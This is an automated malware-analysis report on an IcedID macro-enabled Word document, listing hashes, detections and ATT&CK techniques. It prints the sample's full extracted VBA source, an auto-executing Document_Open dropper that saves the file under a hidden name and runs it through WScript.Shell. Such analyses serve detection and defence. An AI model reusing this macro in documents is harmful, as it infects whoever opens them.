IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 ff4535c86130a220…

MALICIOUS

Office (OOXML)

33.9 KB Created: 2021-11-15 09:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-25
MD5: 5d7d86094560ef099774c514f3453b31 SHA-1: cab469ab8ac76d05a66a2ad6e7739be43e20e62b SHA-256: ff4535c86130a220de25cdcb40d2bfb8a9c516a3bf066ea825d8f882a30607e9
230 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The `document_open` macro calls `main.karoline`, which retrieves a reversed string from the document's keywords property and saves the document with that name. It then uses `WScript.Shell` to execute the saved file. This behavior is characteristic of IcedID, which often uses macro-enabled documents to download and execute further payloads.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    End With
ThisDocument.s "wscript.shell", dowYouTube
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function s(girlLoadLike, loveDoorLoad)
Set loveLoveNext = CreateObject(girlLoadLike).exec("explorer " & loveDoorLoad)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Sub document_open()
main.karoline ("")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 952 bytes
SHA-256: b60fca56f21abb57d7ddeff85e9ed1a8f6d794b1c919c9e94210601cf07ad9c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function contents()
ActiveDocument.Content.Find.Execute FindText:="@1", ReplaceWith:="", Replace:=2
End Function
Function keywords()
keywords = ActiveDocument.BuiltInDocumentProperties("keywords").Value
contents
End Function
Public Function s(girlLoadLike, loveDoorLoad)
Set loveLoveNext = CreateObject(girlLoadLike).exec("explorer " & loveDoorLoad)
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(dowLoveTube)
dowYouTube = StrReverse(ThisDocument.keywords)
With ActiveDocument
.SaveAs2 FileName:=dowYouTube, FileFormat:=2
End With
ThisDocument.s "wscript.shell", dowYouTube
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 80bbafdf12cdb41dc2fc8ed3611e3d866b0f11d952f701b3be25179c1c95eae0

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